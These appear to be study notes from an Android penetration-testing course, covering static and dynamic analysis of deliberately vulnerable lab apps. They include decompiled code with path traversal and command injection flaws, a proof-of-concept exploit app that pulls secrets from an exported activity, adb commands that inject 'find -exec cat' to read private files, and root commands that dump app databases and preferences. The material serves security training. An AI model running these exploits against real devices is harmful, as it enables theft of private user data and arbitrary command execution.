import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.widget.TextView;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/* loaded from: classes.dex */
public class Content extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_content);
TextView text = (TextView) findViewById(R.id.textView1);
text.setMovementMethod(new ScrollingMovementMethod());
Uri path = getIntent().getData();
//Lack of Input Validation/Sanitization
try {
InputStream content = getContentResolver().openInputStream(path);
// opens a stream to the content associated with a content URI, path=file URI
BufferedReader reader = new BufferedReader(new InputStreamReader(content));
while (true) {
String line = reader.readLine();
if (line != null) {
text.append(line);
} else {
return;
}
}
//open the file, read it line by line and append it to the TextView component
} catch (FileNotFoundException e) {
e.printStackTrace();
Toast.makeText(getApplicationContext(), "Can't handle this file", 0).show();
finish();
} catch (IOException e2) {
e2.printStackTrace();
Toast.makeText(getApplicationContext(), "Can't handle this file", 0).show();
finish();
}
}
}
Lack of Input Validation/Sanitization - The code does not validate or sanitize the URI obtained from getIntent().getData().
❗️ This could lead to path traversal attacks or unintended access to sensitive files, allowing any external app to use a directory traversal attack to request other files by supplying a URI with ../ repeated characters and the name of the files to read.
Prove the vulnerability by using the FileBrowserExploit.apk to read the /etc/hosts file.
Vulnerable Activities
Activities - In contrast to programming paradigms with a main() method for app launch, the Android system triggers code execution in an Activity instance (visual elements, screens) through designated callback methods, each corresponding to distinct stages in its lifecycle.
Activities are vulnerable when allow access to user data without authentication, when exported unnecessarily, etc
e.g. When not protected properly, a login requirement can be bypassed
Here is an example of an exported activity with no android:permission set. Any application can send an appropriate intent to this vulnerable app and spawn this activity, and sensitive information can be found.
Receivers - components in the Android system that enable apps to respond to system-wide events or broadcasts. They listen for and react to broadcast messages from the system or other apps.
<!-- If this receiver listens for broadcasts sent from the system or from
other apps, even other apps that you own, set android:exported to "true". -->
<receiver android:name=".MyBroadcastReceiver" android:exported="false">
<intent-filter>
<action android:name="APP_SPECIFIC_BROADCAST" />
</intent-filter>
</receiver>
e.g. of vulnerable receiver (implicitly) exported without any permissions. The corresponding class contains code for extracting an Extra (named PASSWORD) for the intent received, then send an intent to MainActivity passing the password along as an Extra.
Services - component that either executes prolonged operations without user interaction or provides functionality for other applications to utilize.
e.g. of vulnerable purposefully exported service. When started, it writes a file called /data/data/com.elearnsecurity.sillyservice/files/private.txt. Since it run a shell find command, it allows another app to send an intent to verify the file exists.
onStartCommand method is called when an intent is received to start or connect to the service
cmdExtra value is drawn from an Extra with the name COMMAND
if statement ensures the command received starts with the string find. If this check passes, Extra value is passed to String Array cmd
once the String Array cmd is compiled, it passes to the exec method of the Runtime object = bin files can be spawned like in a cmd prompt
❗️ unless the input is limited, the pattern of untrusted input ends up in a sensitive function, executing arbitrary commands (check Dynamic Analysis for the vulnerability)
if (cmdExtra.startsWith("find")) {
System.out.println("TOTALLY SECURE");
String[] cmd = {"sh", "-c", cmdExtra};
Process p = Runtime.getRuntime().exec(cmd);
Shared Preferences
SharedPreferences - used for storing and retrieving key-value pairs of primitive data types persistently (locally). It is commonly employed to save application settings, user preferences, or other small amounts of data that need to be preserved across app sessions.
/data/data/<package_name>/shared_prefs/ - only the app that created the xml files in this directory can access it
using local access, backup, adb, this data can be retrieved
adb shell
su
cd /data/data/com.android.chrome/shared_prefs
cat *.xml
Local Databases
Apps store their information in database files.
/data/data/<package_name>/databases/
# e.g.
adb shell
su
ls -lah /data/data/com.google.android.music/databases
Check .db file by pulling them into the local pc and using sqlite3 or sqlitebrowser tools.
adb pull /data/data/com.google.android.music/databases/config.db
# if Permission Denied error use su command like this
adb shell "su -c cp /data/data/com.google.android.music/databases/config.db /sdcard/Download"
adb pull /sdcard/Download/config.db
sqlitebrowser config.db
sqlite3 config.db
#sqlite3 commands
.help
.tables
.dump
.dump CONFIG
drozer - search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS
Install drozer-agent app on the device, open it and turn on. From the command line use Drozer via docker to connect to the device.
dz> # drozer commands assuming
run app.package.list
run app.package.info -a org.owasp.goatdroid.fourgoats
run app.package.manifest org.owasp.goatdroid.fourgoats
run app.package.attacksurface org.owasp.goatdroid.fourgoats
Attack Surface:
4 activities exported
1 broadcast receivers exported
0 content providers exported
1 services exported
is debuggable
run app.activity.info -a org.owasp.goatdroid.fourgoats
run app.service.info -a org.owasp.goatdroid.fourgoats
run app.provider.info -a org.owasp.goatdroid.fourgoats
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
Check Vulnerability in the 🧪 Practice Lab 7 and exploit it with the following commands
run app.broadcast.info –-package org.owasp.goatdroid.fourgoats
# An activity can be run with
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 5554 --extra string message "Hi there"
qwark (Quick Android Review Kit) - look for several security related Android application vulnerabilities, either in source code or packaged APKs.
handles decompiling, attack surface enumeration, vuln detection, static code analysis with an HTML final report
creation of exploit APK to attack the target app
# Install qark
pipx install qark
cp goatdroid.apk ~/temp
cd ~/temp
qark --apk goatdroid.apk
It will output a report in /.local/pipx/venvs/qark/lib/python3.11/site-packages/qark/report/report.html
If it gives W: Could not decode attr value, using undecoded value instead: ns=android, name=text, value=0x0000000d error, try to fix it with following commands and re-run qark --apk goatdroid.apk
mv ~/.local/share/apktool/framework/1.apk ~/.local/share/apktool/framework/1.apk.bak
# Get a proper framework apk from a device /system/framework
adb pull /system/framework/framework-res.apk
mv framework-res.apk ~/.local/share/apktool/framework/1.apk
❗ Compilation may NOT work with Python 3.11.2, to fix it open the file
nano ~/.local/pipx/venvs/qark/lib/python3.11/site-packages/qark/xml_helpers.py
# Change line
for child in string_array.getchildren():
# with line
for child in string_array:
❗ It still may not work because of Could not determine java version from '17.0.9'. eror.
Dynamic Code Analysis
Dynamic Code Analysis is the examination of the application code, by executing the program in a normal, virtualized or in a debugger environment.
examine the changes made to memory/file system as they occur
intercept network requests
check real-time encountered errors
Debugging
Android Studio debugger - good with App's original source code, using breakpoints in the code, etc
Debugging is used in security to verify the conditions necessary to reach a know vulnerable piece of code, or for POC (Proof Of Concept) exploit development.
An Android app is considered debuggable based on the android:debuggable attribute in the AndroidManifest.xml file.
when android:debuggable="true", the app is debuggable
this can leak information is someone can take the victim's device and connects it to a computer
<application
android:debuggable="true"
<!-- other attributes and elements -->
>
<!-- components (activities, services, etc.) -->
</application>
ADB
adb (Android Debug Bridge) - command line tool used to interact with Android devices/emulators, via USB cable or Network.
server (runs on host pc) - manages communication between the client and daemon
daemon - runs in background on the device, executes commands passed via the server
sudo apt install adb
adb
adb help
adb devices
# starts the adb server on port 5037
adb devices -l
adb shell
# In case of problems with adb server
adb kill-server
# Direct shell command from host pc
(adb shell) pm list packages -3 -f
(adb shell) pm path <package_name>
# Copy files to/from device
adb push <local_file> <device_file>
adb pull <device_path> <local_path>
# Install/uninstall APK
adb install <apk_file>
adb uninstall <apk_file>
# Open shell as root
adb shell
su # once inside the device
# Run command as root
adb shell "su -c 'command-here'"
# Interact with specific defice if more device attached
adb -s <device_serial> get-state
# Connect device via Network
adb connect <IP:PORT>
Activity Manager
adb shell am COMMAND can start an activity, send broadcast intents, monitor system interaction, etc
# Active Manager
(adb shell) am start
(adb shell) am startservice
(adb shell) am broadcast
🧪 Practice Lab 10
NoteList app lab files will be used.
Objectives
Perform dynamic analysis using ADB and Activity Manager
NotesList activity has the action MAIN (the default intent that will be called if you tap the icon in the launcher)
NoteEditor activity includes an action named EDIT
<data android:mimeType="vnd.android.cursor.item/vnd.google.note"/> - specifies the mimeType and the URI to use with the intent filter. This cursor will contain one item.
Interact with the app via adb.
Activity name: NotesList
Action name: android.intent.action.MAIN
Package: com.example.android.notepad
adb shell am start -a android.intent.action.MAIN -n com.example.android.notepad/.NotesList
adb shell am start -a android.intent.action.EDIT -n com.example.android.notepad/.NoteEditor -d content://com.google.provider.NotePad/notes/1
🧪 Practice Lab 11
LeakResult app lab files will be used.
Objectives
Perform dynamic analysis using ADB and Activity Manager
Reverse and find the app's attack surface
Launch the SecretActivity, LeakyActivity, Bypass LeakResult app's authentication mechanism, check the logs for sensitive information
Create a POC exploit application that sends an intent to the LeakyActivity Activity and extract the data returned, leveraging unprotected activities
When the exploit app is run, an Intent will be sent to the LeakResult.apk and LeakyActivity will be launched.
Sensitive data should be seen in the exploit application's view (search for OOPS)
git clone https://github.com/pluscubed/matlog.git
Open matlog/ directory in Android Studio.
Upgrade Gradle as suggested by Android Studio
Build the app - there are too many Build Scan and unsupported Gradle problems with matlog outdated source code, so I proceed with the install of the LeakResult/exploit apks/matlog-master/app/app-debug.apk from the course lab resources
adb install app-debug.apk
With LeakResult.apk installed, run the installed MatLog DEBUG - Accept the Superuser permissions
Search for OOPS in the app
Create the application #2.
Opening the lab source code of the HelloWorldExploit app
launch LeakyActivity using startActivityForResult()
override the onActivityResult to extract the result LeakActivity returns
static final int PICK_REQUEST = 1; // The request code
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent pickSecretIntent = new Intent();
pickSecretIntent.setComponent(new ComponentName("com.elearnsecurity.insecureactivities", "com.elearnsecurity.insecureactivities.LeakyActivity"));
startActivityForResult(pickSecretIntent, PICK_REQUEST);
setContentView(R.layout.activity_hello_world);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == PICK_REQUEST) {
if (resultCode == 2) {
String secret = data.getStringExtra("SECRET");
Log.v("SECRET",secret);
}
}
}
When the exploit app is run, a Hello world! message will be displayed but on the background launches LeakyActivity, extract the result and writes it in its logs.
🧪 Practice Lab 12
VulnerableReceiver app lab files will be used.
Objectives
Perform dynamic analysis
Reverse and find the app's attack surface
Bypass authentication by exploiting an insecure broadcast receiver
Lab
Install VulnerableReceiver.apk on the device
adb install VulnerableReceiver.apk
Open VulnerableReceiver.apk with Jadx-GUI
📌 AndroidManifest.xml
Package - com.elearnsecurity.vulnerablereceiver
Applicationdebuggable and backupable
minSdkVersion - 20
targetSdkVersion - 23
Activities
MainActivity - action MAIN
ProfitActivity (not exported)
Receivers
VulnerableReceiver (implicitly exported with Intent) - action CHANGEPW
implicitly exported due to intent-filter and with no permissions, any other app can pass an Intent to it
the onReceve method takes a parameter which is an Intent named newpass, extracting an Extra named PASSWORD, then sent to MainActivity as an Intent with the password as an Extra
adb shell
su
am start -n com.elearnsecurity.sillyservice/.MainActivity
📌 SillyService class
cmdExtra value is drawn from an Extra named COMMAND
the if statement ensures that the received command start with the string find, then the value of the Extra is passed to String Arraycmd
once cmd is compiled, it is passed to the exec method of the Runtime object - resulting in binary executable files to be spawned as separate process = arbitrary command execution ❗️
package com.elearnsecurity.sillyservice;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
/* loaded from: classes.dex */
public class SillyService extends Service {
@Override // android.app.Service
public IBinder onBind(Intent arg0) {
return null;
}
@Override // android.app.Service
public int onStartCommand(Intent intent, int flags, int startId) {
Toast.makeText(this, "Service Started", 1).show();
try {
String cmdExtra = intent.getStringExtra("COMMAND");
String secret = getString(R.string.private_data);
WriteData(secret);
if (cmdExtra.startsWith("find")) {
System.out.println("TOTALLY SECURE");
String[] cmd = {"sh", "-c", cmdExtra};
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));
while (true) {
String outLine = input.readLine();
if (outLine == null) {
break;
}
System.out.println(outLine);
if (outLine.matches("/data/data/com.elearnsecurity.sillyservice/files/private.txt")) {
Toast.makeText(this, "File found: " + outLine, 1).show();
}
}
BufferedReader errors = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while (true) {
String errorLine = errors.readLine();
if (errorLine != null) {
System.out.println("ERRORS: " + errorLine);
} else {
return 1;
}
}
} else {
System.out.println("ONLY THE FIND COMMAND IS ALLOWED");
Toast.makeText(this, "Only the find command is allowed", 1).show();
return 1;
}
} catch (Exception e) {
Log.v("ERROR", e.toString());
return 1;
}
}
@Override // android.app.Service
public void onDestroy() {
super.onDestroy();
Toast.makeText(this, "Service Destroyed", 1).show();
}
public void WriteData(String data) {
try {
FileOutputStream fileout = openFileOutput("private.txt", 0);
OutputStreamWriter outputWriter = new OutputStreamWriter(fileout);
outputWriter.write(data);
outputWriter.close();
System.out.println("File Successfully Written");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Exploit this vulnerability via adb.
adb shell am startservice -n com.elearnsecurity.sillyservice/.SillyService -e "COMMAND" "'find /data/data/com.elearnsecurity.sillyservice -name private.txt'"
adb shell am startservice -n com.elearnsecurity.sillyservice/.SillyService -e "COMMAND" "ls"
# ONLY THE FIND COMMAND IS ALLOWED
adb shell am startservice -n com.elearnsecurity.sillyservice/.SillyService -e "COMMAND" "'find /data/data/com.elearnsecurity.sillyservice -name private.txt -exec cat {} \;'"
# PERMISSION DENIED on Device with API Level 24
adb shell am startservice -n com.elearnsecurity.sillyservice/.SillyService -e "COMMAND" "'find /data/data/com.elearnsecurity.sillyservice'"
🧪 Practice Lab 14
WeakWallet app lab files will be used.
Objectives
Perform dynamic analysis
Reverse and find the app's attack surface
Interact with the Content Provider, manipulate database
Lab
Install weakwallet.apk on the device
adb install weakwallet.apk
Open weakwallet.apk with Jadx-GUI
📌 AndroidManifest.xml
Package - com.elearnsecurity.weakwallet
Applicationdebuggable and backupable
minSdkVersion - 15
targetSdkVersion - 23
Activities
MainActivity - action MAIN
Providers
VulnerableProvider class with authority com.elearnsecurity.provider.Wallet